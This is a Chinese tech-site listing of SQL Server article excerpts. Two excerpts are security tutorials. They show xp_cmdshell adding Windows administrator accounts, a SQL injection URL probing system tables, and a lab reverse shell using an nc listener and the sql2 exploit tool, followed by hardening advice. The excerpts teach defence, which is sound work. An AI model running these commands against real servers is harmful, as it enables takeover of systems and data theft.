技术改变世界 阅读塑造人生! - shaogx.com

This string was altered by TechBlog\Plugins\Example.; This is an example to show the potential of an offcanvas layout pattern in Bootstrap. Try some responsive-range viewport sizes to see it in action.

将Access数据库移植到SQL Server 7.0

随着用户对于企业级高性能数据库的需求的增长,用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到Microsoft SQL Server的客户-服务器环境。Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和查询转移到SQL Server 7.0中。如果您用的是Access的较早的版本,您可以先将它升级为Access 2000,然后再使用其中的Upsizing Wizard,从而将您的应用移植到SQL Server中。如果您并不太愿意采用Access 2000 和Upsizing Wizard来实现移植,本文可以作为将Access 2000移植到SQL Server的一个指南。转移一个Access上的应用首先需要将数据转移到SQL Server,然后将查询转移进数据库,或是转移为SQL文件以备稍后执行。最后要采取的步骤是移植应用程序。... 全文

SQL 数据库 SQL Server

SQL Server 笔记整理

读书时遗失的笔记!现在偶尔的机会找到了!真的很不错的笔记!比较全面!在这里和大家共享!希望能帮到一些人!毕竟是在校时的产物!认知有限!如有错误还请帮忙指正!(Issac_czy@163.com)谢谢!use mastergoif exists(select * from sysdatabases where name='student')drop database student --创建数据库create database studenton(        name='student',        filename='D:\DBExercise\sudent.mdf',        size=10,... 全文

视图 触发器 存储过程 SQL Server SQL Server笔记

灵活运用 SQL SERVER FOR XML PATH

        FOR XML PATH 有的人可能知道有的人可能不知道,其实它就是将查询结果集以XML形式展现,有了它我们可以简化我们的查询语句实现一些以前可能需要借助函数活存储过程来完成的工作。那么以一个实例为主.        一.FOR XML PATH 简单介绍             那么还是首先来介绍一下FOR XML PATH ,假设现在有一张兴趣爱好表(hobby)用来存放兴趣爱好,表结构如下:       接下来我们来看应用FOR XML PATH的查询结果语句如下: SELECT * FROM @hobby FOR XML PATH        结果:<row>   <hobbyID>1</hobbyID>   <hName>爬山</hName> </row> <row>   <hobbyID>2</hobbyID>   <hName>游泳</hName> </row> <row>   <hobbyID>3</hobbyID>   <hName>美食</hName> </row>       由此可见FOR XML PATH 可以将查询结果根据行输出成XML各式!      那么,如何改变XML行节点的名称呢?代码如下:     SELECT * FROM @hobby FOR XML PATH('MyHobby')        结果一定也可想而知了吧?没错原来的行节点<row> 变成了我们在PATH后面括号()中,自定义的名称<MyHobby>,结果如下:<MyHobby>   <hobbyID>1</hobbyID>   <hName>爬山</hName> </MyHobby> <MyHobby>   <hobbyID>2</hobbyID>   <hName>游泳</hName> </MyHobby> <MyHobby>   <hobbyID>3</hobbyID>   <hName>美食</hName> </MyHobby>       这个时候细心的朋友一定又会问那么列节点如何改变呢?还记的给列起别名的关键字AS吗?对了就是用它!代码如下:SELECT hobbyID as 'MyCode',hName as 'MyName' FROM @hobby FOR XML PATH('MyHobby')        那么这个时候我们列的节点名称也会编程我们自定义的名称 <MyCode>与<MyName>结果如下:<MyHobby>   <MyCode>1</MyCode>   <MyName>爬山</MyName> </MyHobby> <MyHobby>   <MyCode>2</MyCode>   <MyName>游泳</MyName> </MyHobby> <MyHobby>   <MyCode>3</MyCode>   <MyName>美食</MyName> </MyHobby>     噢! 既然行的节点与列的节点我们都可以自定义,我们是否可以构建我们喜欢的输出方式呢?还是看代码: SELECT '[ '+hName+' ]' FROM @hobby FOR XML PATH('')      没错我们还可以通过符号+号,来对字符串类型字段的输出格式进行定义。结果如下:[ 爬山 ][ 游泳 ][ 美食 ]    那么其他类型的列怎么自定义? 没关系,我们将它们转换成字符串类型就行啦!例如:SELECT '{'+STR(hobbyID)+'}','[ '+hName+' ]' FROM @hobby FOR XML PATH('')     好的 FOR XML PATH就基本介绍到这里吧,更多关于FOR XML的知识请查阅帮助文档!    接下来我们来看一个FOR XML PATH的应用场景吧!那么开始吧。。。。。。        二.一个应用场景与FOR XML PATH应用        首先呢!我们在增加一张学生表,列分别为(stuID,sName,hobby),stuID代表学生编号,sName代表学生姓名,hobby列存学生的爱好!那么现在表结构如下:                   这时,我们的要求是查询学生表,显示所有学生的爱好的结果集,代码如下: SELECT B.sName,LEFT(StuList,LEN(StuList)-1) as hobby FROM (  SELECT sName,  (SELECT hobby+',' FROM student     WHERE sName=A.sName     FOR XML PATH('')) AS StuList  FROM student A   GROUP BY sName  ) B           结果如下: 分析: 好的,那么我们来分析一下,首先看这句:SELECT hobby+',' FROM student     WHERE sName=A.sName     FOR XML PATH('') 这句是通过FOR XML PATH 将某一姓名如张三的爱好,显示成格式为:“ 爱好1,爱好2,爱好3,”的格式!那么接着看:SELECT B.sName,LEFT(StuList,LEN(StuList)-1) as hobby FROM (  SELECT sName,  (SELECT hobby+',' FROM student     WHERE sName=A.sName     FOR XML PATH('')) AS StuList  FROM student A   GROUP BY sName  ) B    剩下的代码首先是将表分组,在执行FOR XML PATH 格式化,这时当还没有执行最外层的SELECT时查询出的结构为:可以看到StuList列里面的数据都会多出一个逗号,这时随外层的语句:SELECT B.sName,LEFT(StuList,LEN(StuList)-1) as hobby  就是来去掉逗号,并赋予有意义的列明!好啦,太晚啦就说到这里吧!本文出自 “王波洋” 博客,请务必保留此出处http://wangboyang.blog.51cto.com/4163251/748228... 全文

SQL 数据库 Sql Server 休闲 TSQL

SQL Server的几个安全问题个个谈(下)

1)、新建aaa用户如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。 图17  图18 2)、设置权限如图18,在“服务器角色”选项中什么也不选,如图19,在“数据库访问”选项中只选“xyz”库,也就是说只让aaa用户访问xyz库。“数据库角色中允许”只选默认的“public”。 图19  图20 3)、测试设置好后,用aaa用户登陆“SQL 查询分析器”,如图21,执行exec xp_cmdshell 'net user user1 /add',出现了期待的结果,没有权限执行。 图21 接着执行SELECT name FROM sysdatabases where dbid>6,期待的结果是没有权限执行,可实际的结果和图10的查询结果一模一样,aaa用户不是没有master库的权限吗?aaa用户除了不能访问自己建的库wz_cxxt_new外,其它的库都能访问,问题出在哪呢?问题出在public 角色,下面这段话是SQL Server帮助中写的。public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:· 捕获数据库中用户的所有默认权限。· 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。· 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。· 无法除去。如图22是master库中的“public”角色,双击“public”,在界面中单击“权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行SELECT name FROM sysdatabases时出现了“拒绝了对对象 'sysdatabases'(数据库 'master',所有者 'dbo')的 SELECT 权限。”的提示。 图22  图23  图24 Public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。3、注入对于SQL Server+ASP的注入,有一种是ASP连接SQL Server用户的权限足够大,而ASP程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句,根据前文讲的原理暴出库、表及相应的纪录。关于注入有许多精彩和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。三、SQL Server不打补丁的漏洞小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧! 图25  图26  图27 四、几点建议1、及时打补丁不打补丁的危害上面已经演示了,道理就不用多说了吧!2、最小的权限等于对大的安全这句话说起容易,做起难,有一个简单易行的办法就是用流行的漏洞扫描工具和攻击工具检测本系统是否安全,这样的工具非常多,自己找吧。3、安装防火墙如果只是在本机调试系统,安装防火墙是非常好的选择,这样即使有漏洞别人也无法攻击。4、改变端口如果SQL Serve需要远程访问,端口一定是要开放的,即使安装了防火墙,也要将SQL Serve的服务端口1433放开,针对SQL Serve的攻击工具主要扫描的是1433端口,可以改变默认端口,这样虽然不能从根本上解决问题,但可以对付一般的扫描,改变端口最简单的办法是在打开“开始”——〉“所有程序”——〉“Microsoft SQL Serve” ——〉“服务器网络实用工具”,在界面中选中“TCP/IP”,点击“属性”,把1433改为不超过65535的一个数,重启SQL Serve服务,这样默认端口就改了,注意这时你远程连接SQL Serve时IP地址后要加改过的端口号。5、删除不需要的扩展存储过程如果你的系统中确实不需要这些扩展存储过程可以删除。删除存储过程的命令是:EXEC sp_dropextendedproc ‘存储过程的名称’例如要删除xp_cmdshell,执行EXEC sp_dropextendedproc ‘xp_cmdshell’,每个扩展存储过程实际上用的是相应的dll文件,如果想彻底让该存储过程不起作用,还要将dll文件也删除。这些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如图28,xp_cmdshell的dll文件是xplog70.dll要恢复该存储过程,命令是:EXEC sp_addextendedproc存储过程的名称 ,@dllname ='存储过程的dll'例如:恢复存储过程xp_cmdshellEXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢复时如果xplog70.dll已删除需要copy一个。图28 原文:SQL Server的几个安全问题个个谈(下)返回网络安全首页... 全文

SQL 安全 SQL Server

布阵BI 微软发布SQL Server规划线路图

据国外媒体10月6日消息,微软周一发布了其数据库软件SQL Server的规划路线图和补充插件,希望借此得以最终重新定义其商业智能和数据仓库。下一版本的数据库服务器,代号为Kilimanjaro,预计将于2010年上半年发布。该数据库服务器的研究重点,放在BI(商业智能)的自我服务和报告功能上面。微软计划于未来的12个月内,组建一个“社区技术预览”版( CTP )。... 全文

SQL Server 商务智能 SQL Server规划

如果利用SQL Server 2008新特性之CDC

问题:我们在浏览SQL Server 2008的新特性的时候,发现有一个很有趣的特性叫Change Dada Capture。您能不能向我们详细介绍一下怎么利用这个新特性?专家解答:Change Data Capture(CDC)是SQL Server 2008的一个新特性,它可以记录SQL Server表的插入、更新和删除等表修改活动。利用该新特性的一个很好的例子就是对某个数据仓库进行定期更新。我们以前需要通过使用数据装载程序(ETL)来更新数据仓库中所有在源系统中更改过的数据。... 全文

SQL Server 2008 新特性 SQL Server

SQL Server 2008升级顾问

微软在SQL Server 2005中就引进了升级顾问(Upgrade Advisor)。这款工具可以在执行SQL Server数据库升级计划之前在一个安全的环境下对你当前的SQL Server数据库进行调试和分析。任何项目计划实施要想获得成功的关键因素就是风险管理,而这款工具可以在不引进任何风险的情况下进行风险评估,然后逐个地评估解决该工具识别可能存在妨碍升级的问题,从而为在可控的方式下开始进行升级计划。值得庆幸的消息是,微软将继续在SQL Server 2008中提供这款工具。下面我们要讨论的对象就是新版本中的这个工具。... 全文

SQL Server 2008 升级顾问 SQL Server 2008 升级 升级顾问

SQL Server的几个安全问题个个谈(上)

单位的小王学习SQL Server已有一段时间了,已经做了个不错的管理系统,有次小王让我帮着看看库的设计有没有问题,其间我发现他的安全意识非常薄弱,这也许是初学者容易忽视的问题,本文探讨一些SQL Server常见的安全问题,是给初入SQL Server的人看的,写的肯定很絮叨,高手勿读。本文的用的是SQL Server 2000,下文中都简写为SQL Server。一、空口令或弱口令初学者在安装SQL Server时为了省事,SQL Server管理员sa 用的是空口令或弱口令,这样危险性十分巨大,而这些危险往往是初学者意识不到的,小王就觉得,自己的库是试验数据,没什么用,即使别人连上库也无所谓。殊不知SQL Server的默认用户sa的权限非常巨大,有种观点是sa的权限要大于administrator的权限,也就是说没有限制的sa用户可以做Windows系统管理员所做的任何事。下面我们做个简单的试验。通过SQL Server给Windows系统增加一个用户user1,并且把该用户增加到管理员用户组administrators里。1、首先看看正常情况下在Windows系统增加该用户的方法。有两种:一是在图形界面下进行,二是在命令窗口下进行,下面演示通过命令增加用户。1)、在“开始”——〉“运行”处输入cmd,回车进入到命令窗口,如图1所示:2)、第一行命令net user user1 /add (增加一个用户名是user1的用户)。3)、第二行net localgroupadminisstrators user1 /add(将此用户增加到管理员用户组administrators中)。4)、第三行net user(查看目前系统的用户,可以看到已增加了user1用户)。5)、第四行net user user1 /delete (删除user1用户),为了下面通过SQL Server 给系统增加用户。 图1 2、在SQL Server中增加系统用户1)、打开SQL Server的“企业管理器”——〉“工具”——〉 “SQL 查询分析器” 。如图2,输入要连接的SQL Server的IP地址,确定后出现图3界面,注意连接的是master库。 图2 2)、如图3所示,在查询窗口中输入:exec xp_cmdshell 'net user user1 /add',按 执行,如果出现图4“命令成功完成”的提示说明执行成功。3)、接着如图5所示,输入exec xp_cmdshell 'net localgroup administrators user1 /add',执行成功后出现图5的提示说明。 图3  图4  图5 上边输入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它们就是我们上面用过的windows系统下的标准命令。图6可以看出user1已增加到管理员administrators组中。 图6 看到这明白了吧!通过功能强大的SQL Server可以做Windows系统管理员能做的事。上面通过SQL Server建立用户的实验是我从本机远程连接到测试机的SQL Server,增加了用户,图7是用刚建立的用户user1和远程计算机建立的ipc连接,这时要进入这台机器就是易如反掌的事了。接下来的的安全知识自己查查吧,网上非常多的。 图7 3、进一步解释上面用的xp_cmdshell是SQL Server的扩展存储过程中的一个,存储过程就像是我们编程用的函数,内容是按需要编写的一系列SQL 语句和可选控制流语句,可由应用程序通过一个调用执行,而且允许用户声明变量、有条件执行以及其它强大的编程功能。每个库都可以存放存储过程,但扩展存储过程只存在master 数据库中,对用户来说,扩展存储过程与普通存储过程一样,执行方法也相同。但扩展存储过程能执行除了数据库之外的许多操作,上面我们看到通过调用xp_cmdshell可以执行windows系统下的各种命令。扩展存储过程的功能非常强大,如图8,它们存在master库中的扩展存储过程中。如xp_regenumvalues、 xp_regread、 xp_regwrite 、xp_regdeletevalue、 xp_regdeletekey这些扩展存储过程能对注册表进行读写操作。例如:可以通过下面命令查看注册表中的启动项目。Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 图8 二、注入和跨库攻击注入和跨库攻击可能是2004年黑客攻击中最流行的词了,它的原理和上面讲的都是获得了SQL Server管理员sa的权限,从而控制数据库,还可以利用xp_cmdshell这样的SQL Server的扩展存储过程控制Windows系统。注入和空口令获取sa权限的方法不同,注入是ASP程序在连接SQL Server时有漏洞,黑客利用漏洞获取了sa权限。说到这,小王有点疑问,程序中sa连接的是自己的库而扩展存储过程在master库中,如何利用的?简单的说,有sa 的权限后就能查询出用户建的什么库,库中有哪些表,表中有什么字段,表的纪录等。这些又是如何实现的呢?要解答这个问题需要从两个方面着手,一是新建个库后,SQL Server起了什么变化?二是SQL Server的权限。1、新建一个库后其在系统库和系统表的位置例:在SQL Server新建一个库,库名称为:xyz,在该库下建一个test的表,表中字段为id、name、password。1)、库在哪里?SQL Server安装完毕后默认安装了master、model、msdb、northwind、pubs、tempdb这6个库,其中northwind、pubs是例子库,其它都是系统数据库,各有其用。xyz库建好后,库名称存在master库中的sysdatabases表中,如图9所示,sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库。图10中用SELECT name FROM sysdatabases where dbid>6可以查出用户自己建的库,刚建的xyz库也在其中。 图9  图10 2)、表在哪里?表名称存在xyz库中的sysobjects表且xtype='u',如图11,输入SELECT *FROM sysobjects where xtype='u'可以查出表名称是test,记住我们刚建的表test对应的id是357576312 图11 3)、有哪些字段?test表中有哪些字段呢?该表的字段存在xyz库中的syscolumns表中,且id等于sysobjects表中test表对应的id,也就是我们上面查出来的357576312。如图12,输入SELECT * FROM syscolumns where id='357576312'可以查出test表中的字段。 图12 4)、总结当有相应权限的用户连到SQL Server后,能通过查询master库中的sysdatabases表得到用户建的数据库名称,接着再查询用户数据库的sysobjects表查出创建的表,接着再查询用户数据库的syscolumns表查出表中的字段,进而查出纪录。这个例子提到有相应权限的用户,那用户具有哪些权限呢?我们接着说。2、理解用户、角色和权限这几个概念要对这几个概念讲得很明白,需要很大的篇幅,本文只作简要介绍。要想访问SQL Server必须是它的一个用户,如果要访问某个数据库,必须赋予该用户访问此数据库的权限。角色就是一系列权限的集合。用户和角色的关系就像Windows系统中的用户和用户组的关系。还是举例说明吧!sa为什么有那么大的权限?sa是SQL Server的默认超级用户,就像系统的administrator用户一样,如图13,点击在“安全性”——〉“登录”,在右栏的sa用户下鼠标右键,出现图14的sa属性界面选到“服务器角色”项,可以看到sa的角色是system administrators(简写为sysadmin),前面提到角色就是一系列权限的集合,点击图14的“属性”,在图15中可以看到该角色拥有操作SQL Server的所有权限。如图16可以看出sa具有所有数据库的访问权限,现在明白sa为什么有那么大的权限了吧。 图13  图14  图15 图16 实际做管理系统时并不需要用户有那么大的权限,一般只要能访问自己建的库就行了。可以新建个用户,只给此用户有限的权限,这样安全系数应该高些,从这个思路出发看看如何实现。 原文:SQL Server的几个安全问题个个谈(上)返回网络安全首页... 全文

SQL 安全 SQL Server

Drupal 7.31版本爆严重SQL注入漏洞

今早有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码,小编在本地搭建Drupal7.31的环境,经过测试,发现该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。测试代码:(请勿用于非法用途)... 全文

Drupal SQL注入 SQL注入漏洞

SQL SERVER 2005获取索引状态

在SQL SERVER 2000时,如果想要查看某个索引的碎片情况我们用的是如下的命令:DBCC SHOWCONTIG('Tname', 'IndexName'),根据扫描结果中的:扫描密度 [最佳计数:实际计数]的具体结果来进行判断该索引是否需要重新组织或重建。SQL Server 2005中又新增了个系统函数来查询索引的信息,其精确率比DBCC SHOWCONTIG更高。实例:--库名:phonesale,表名:tblsaleinfoDECLARE @db_id SMALLINT; DECLARE @object_id INT;... 全文

sql sql server 2005 数据库 索引 休闲

SQL Server 2008之行值构造器

相信大家都知道怎样使用数据操作语言(DML)对SQL Server表的数据进行插入、删除和更新等处理。有时候,我们需要用INSERT语句进行插入的数据实在是多得让人头疼,有很多传统但繁琐的方法可以用来插入大批量数据,不过SQL Server 2008提供了一种能够简化数据插入过程的新方法。本文将为大家简单介绍这些用来插入数据的方法之间的差异,其中包括SQL Server 2008提供的新方法——行值构造器(Row Value Constructor)。我们向表插入数据的传统方法有三个,介绍如下:方法一... 全文

SQL Server SQL Server 2008 行值构造器

SQL Server 2008几项新特性概述

计划于2008年第一季度发布的SQL Server 2008不仅对原有性能进行了改进,还添加了许多新特性,比如新添了数据集成功能,改进了分析服务,报告服务以及Office集成等等。SQL Server集成服务... 全文

SQL Server 2008 新特性 概述 SQL Server

黑马程序员之SQL 学习笔记:T

------------------------------------ 2345王牌技术员联盟2345王牌技术员联盟、期待与您交流!-------------------------------------------IF…ELSE语句... 全文

sql delay sql server 工作 存储

SQL Server 2008概述(一)

SQL Server 2008是一个重大的微软数据库产品版本,以SQL Server 2005为基础历经三年研发,推出了许多新功能并对关键功能做了改进,使得它成为至今为止的最强大和最全面的SQL Server版本。SQL Server 2008提供了一套完整的数据管理和分析解决方案,给企业数据和分析应用程序带来增强的可靠性、高效性以及商业智能,使得它们更易于创建、部署和管理,在有效保证业务系统稳定运行的同时,能够带来新的商业价值和激动人心的应用体验。同时,它帮助企业随时随地管理任何数据。可以将结构化、半结构化和非结构化的数据(例如图像和音乐)直接存储到数据库中。 SQL Server产品版本路线图:  SQL Server 2008的功能列表:数据库引擎 ... 全文

sql SQL Server 2008 数据库 休闲 职场

使用SQL Server 2008进行预测分析(1)

1、导言 所有公司的最有价值资产是公司内多个应用程序和系统中的大量商业数据。这些数据具有潜力为商业提供之前无法想象的洞察以及为有效的决策制定和可以使公司走向成功的准确预测形成一个可靠的基础。不幸的是,通常数据都是由多个计算机系统收集并静静的待在单独的数据存储中。一些公司可能从这些数据生成了一些历史报表,而一些可能还按照关键性能指示器(KPIs)度量了公司的性能;但令人惊讶的是,只有很少的公司认识到挖掘他们的历史数据以找出模式和趋势所能带来的受益,而几乎没有公司将预测分析嵌入到他们日常商业过程中以制定决策和预测,并改进整个公司的敏捷性。 在过去的几个版本中,Microsoft精简了Microsoft SQL Server中的报表和分析功能以创建一个全面的商业智能(BI)平台,它可以被集成到日常的商业活动中,并被公司内的所有雇员有效使用,而不是只被一些专业分析师使用。许多公司以前发现商业智能解决方案十分昂贵或执行太复杂,而现在他们利用全面的报表制作、渲染、以及提供SQL Server报表服务和SQL Server分析服务提供的强大联机分析处理(OLAP)服务的功能。在这些商业智能服务器产品和无处不在的Microsoft Office系统间的紧密集成将商业分析带给了大众,并使得延伸出一类新的信息工作者,他们可以获得更深一层的商业洞察力,并更加有效地进行操作。 而这个报表和多维分析的发展受益于许多各种规模的公司,提高商业敏捷性和操作有效性的下一个步骤是从对历史数据的回顾分析转到基于对商业数据的预测分析进行预先动作上,以及嵌入智能的、基于事实的决策制定到商业过程中。实现这个目标的关键是使用强大的数据挖掘算法来分析数据集,将新数据和历史数据以及动作相比较,辨别商业实体和属性间的分类和关系,并为所有的系统和制定商业决策的用户提供准确的预测洞察。就像OLAP技术一样,数据挖掘曾经被认为是一个非常专业的领域,需要昂贵的软件和非常专业的技术来实现。但是,通过在SQL Server分析服务中包含了全面的数据挖掘技术,以及通过与2007 Microsoft Office系统的集成,Microsoft提供了一个性价比很高的解决方案,它利用SQL Server分析服务企业级功能,将数据挖掘的能力扩展给每一个人并提供了成功关键因素的洞察力。 2、用于所有用户的预测分析 当一个预测分析解决方案渗入到整个公司中并用它的扩展和企业级性能帮助进行日常的商业决策时,它是最高效的。而且,提供一个方式来执行全面的预测分析直接为用户提供了可以自服务的数据挖掘,这反过来使商业可以快速地获得具有行动力的洞察。在SQL Server 2008中的数据挖掘技术通过与2007 Office系统、一个全面的开发环境、企业级功能、以及一组设计用来满足常见商业问题的可扩展的、丰富的、创新的数据挖掘算法的紧密集成可以满足这些需求。 2.1 通过Microsoft Office 渗入整个公司 过去,预测分析只限于为一少部分受过训练的统计方面专家的雇员所使用。用于Office 2007的Microsoft SQL Server 2008数据挖掘插件,如图1所示,它使信息工作者可以在一个熟悉的电子数据表环境中利用经验丰富的数据挖掘技术,从而将洞察力和预测扩展到更广的用户群。这些工具通过提供了提示和可执行的建议,从而使得用户可以在几个简单步骤里通知每日的决策。用于Microsoft Office Excel® 2007的表分析工具将数据挖掘的复杂性隐藏在了直接的任务背后,提供了一个无缝的体验,使得用户可以轻松地在探索和发现之间转换。用于Office Excel 2007的数据挖掘客户端提供了一个全面的数据挖掘开发生命周期,它使得高级用户可以具有更多的信息、验证和控制。此外,用于Office Excel 2007的数据挖掘模板使得用户可以渲染数据挖掘模型可注解的图形化显示。总而言之,SQL Server 2008数据挖掘和2007 Office系统的集成提供了一个广泛的、直接的和协作的商业生态系统,它扩展了分析服务的洞察,在整个公司内通知商业决策。  图1:用于Microsoft Office Excel 2007的数据挖掘插件  用于2007 Office 系统的数据挖掘插件提供了以下好处: ◆全面:提供了广泛的工具来满足多种需求 用于Office 2007系统的数据挖掘插件旨在提供一组丰富和可靠的数据挖掘工具。这些工具在桌面电脑上的实用性使得所有用户都可以探究数据并发现隐藏的趋势、以及产品、客户、市场、雇员和其它因素间的关系;使得他们可以满足需求、了解行为和发现隐藏的可以改进商业过程和直接影响收益的机遇。 ◆直接:给所有用户提供具有行动力的洞察力 在熟悉的Microsoft Office 环境中访问预测分析帮助用户轻松地将预测合并到日常处理中。在用于Office Excel 2007的表分析工具中提供的自动化任务在下面三个简单步骤中快速地提供了清晰和具有行动力的洞察: 1、定义你的数据。鉴别对于通知解决方案来说是必要的数据,并在一个定义了要分析的数据的Office Excel 2007电子数据表里创建一个表。 2、辨别任务。选择合适的数据挖掘任务执行于从数据挖掘或表分析中得到的数据。 3、获得结果。检查直接从Office Excel 2007环境中清晰和直接的显示所得到的任务输出。用于Office Excel 2007的数据挖掘插件所提供的自动化任务包括:  ◆Analyze Key Influencers – 找出影响一个确定结果的关键因素。生成一个根据重要性来罗列关键因素的详细报表,使得用户可以根据每组不同的值比较关键因素。  ◆Detect Categories – 帮助用户基于通用属性鉴别和分割数据。会生成一个详细的报表,其描述发现的分类,使得将分类重新以有意义的名称贴标签用于进一步的分析。  ◆Fill From Example – 帮助用户自动根据表的格式将一个只有部分数据的字段填写完全。会生成一个解释所发现格式的报表,使得用户可以重新分析数据并根据获得的更多知识精练格式。  ◆Forecast – 使得用户可以基于数据集中的值预测未来的值。预测值被添加到初始表和图表中显示过去的情况,并会生成连续的预测发展。  ◆Highlight Exceptions – 使用户可以发现包含超出预计范围值的数据集。包含异常的记录行会被强调,而会引起异常的字段会被着重突出。  ◆场景分析:What If – 使得用户可以获得对一个数据集中一个值的潜在改变对其它值所带来影响的洞察。  ◆场景分析:Goal Seeking – 使得用户可以更好地了解需要改变的根本因素,以在一个特定目标字段中实现一个预期值(对What-If工具的补充)。  ◆Prediction Calculator – 与Analyze Key Influencers任务有关,Prediction Calculator 生成一个交互表格用于存储新的案例。每个属性的影响会被翻译为一组分数。应用于一个新情况的属性结合总结,会预测未来可能的行为。  ◆Shopping Basket Analysis – 使得用户可以发现经常一起购买的项目间的关系。一个解释了这些关系的报表可以使得更好地了解对财政意义,提供了对打包提供或改良产品布置的洞察。 很容易理解,这些工具的图表输出使得用户很容易在探索中获得发现,并使得用户具有丰富的预测和能够清晰地转变为建议和行动的洞察。 ◆协作:在整个公司中共享洞察 在Office Excel 2007中可以执行预测分析,使得用户可以使用2007 Office 系统强大的发布工具在整个公司中共享发现和通知商业决策。举例来说,用户可以通过Office Visio 2007图表中的交互图形化显示来共享分析,或者他们可以通过Microsoft Office SharePoint® Server 2007来共享数据表、报表和图表。... 全文

SQL Server SQL Server 2008 预测分析

解决:SQL2000删除后无法安装

作者:jankie日期:2006-11-25 小雪   当我们把我数据库删除后再安装的时候会出现错误或安装不上去,用以下的方法可以解决的哦,呵呵,下面有两种方法: 一、更改一下你的计算机名字(不建议这么做) 二、通过下面五步可以很好解决1、将Program files下的SQL安装目录删除(此处如果有重要的数据,请先备份)C:\Program Files\Microsoft SQL Server\80\Tools。 C:\Program Files\Microsoft SQL Server\MSSQL。2、注册表中的相关信息删除:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer。 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSDTC。 3、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目,并删除它。这样就可以清除安装暂挂项目。4、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\setup删除ExceptionComponents... 全文

sql2000 SQL 数据库 休闲 职场

ArcSDE for SQLServer的SQL操作

题记大家对Oracle数据库的SQL操作应该不陌生吧,也就是出于所谓的效率而言,使用SQL语句对ArcGIS对象(要素类)进行直接的读操作或写操作,目前来说在电信行业运用较广泛,这方面的知识我就不再赘述。那么可能会有人问,那么在SQL Server数据库是否可以使用SQL语句直接操作ArcSDE的对象呢?以前不可以,但是现在可以了。系统需求为什么说上面故意卖个关子呢,也就是需要强调一下系统需求的重要性。也就是说从SQL Server 2008版本后,才可以的。自从2008版本之后,MS提供了为空间数据专有的也就是MS自己的存储:Geometry和Geogrphy。... 全文

sqlserver sql sql server microsoft 存储 数据库

通过引进SQL Server 2000驱动的jar包连接SQL服务器

本文我们主要介绍一下通过加载SQL Server 2000驱动的三个jar包以及相应的Java代码来连接SQL服务器的过程,接下来我们就开始介绍。首先,去这里下载jar包:http://udisk.czkdw.com/myfile/ice_melody/javasqldriver-jar.rar,下载完成后继续下一步操作。测试是否可以连上SQL服务器前要引进jar文件并在SQL服务器建相应的数据库中如"test"数据库(本人使用eclipse)1.右击下面出现的test.java所在根目录test0,选最后一项。... 全文

SQL Server 2000驱动 jar包

SQL语句教程(01) SELECT

SQL语句教程(01) SELECT是用来做什么的呢?一个最常用的方式是将资料从数据库中的表格内选出。从这一句回答中,我们马上可 以看到两个关键字: 从 (FROM) 数据库中的表格内选出 (SELECT)。(表格是一个数据库内的结构,它的 目的是储存资料。在表格处理这一部分中,我们会提到如何使用 SQL 来设定表格。) 我们由这里可以看 到最基本的 SQL 架构:SELECT "栏位名" FROM "表格名" 我们用以下的例子来看看实际上是怎么用的。假设我们有以下这个表格: Store_Information 表格__________________________________... 全文

sql语句教程 SQL 数据库 SELECT 休闲

PHP代码网站如何防范SQL注入漏洞攻击建议

所有的网站管理员都会关心网站的安全问题。说 到安全就不得不说到SQL注入攻击(SQL Injection)。黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入 功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。今天就通过PHP和MySQL数据库为例,分享一下我所了解的SQL注入攻击和一些简单的防范措施和一些如何避免SQL注入攻击的建议。... 全文

SQL注入 SQL注入攻击 PHP代码网站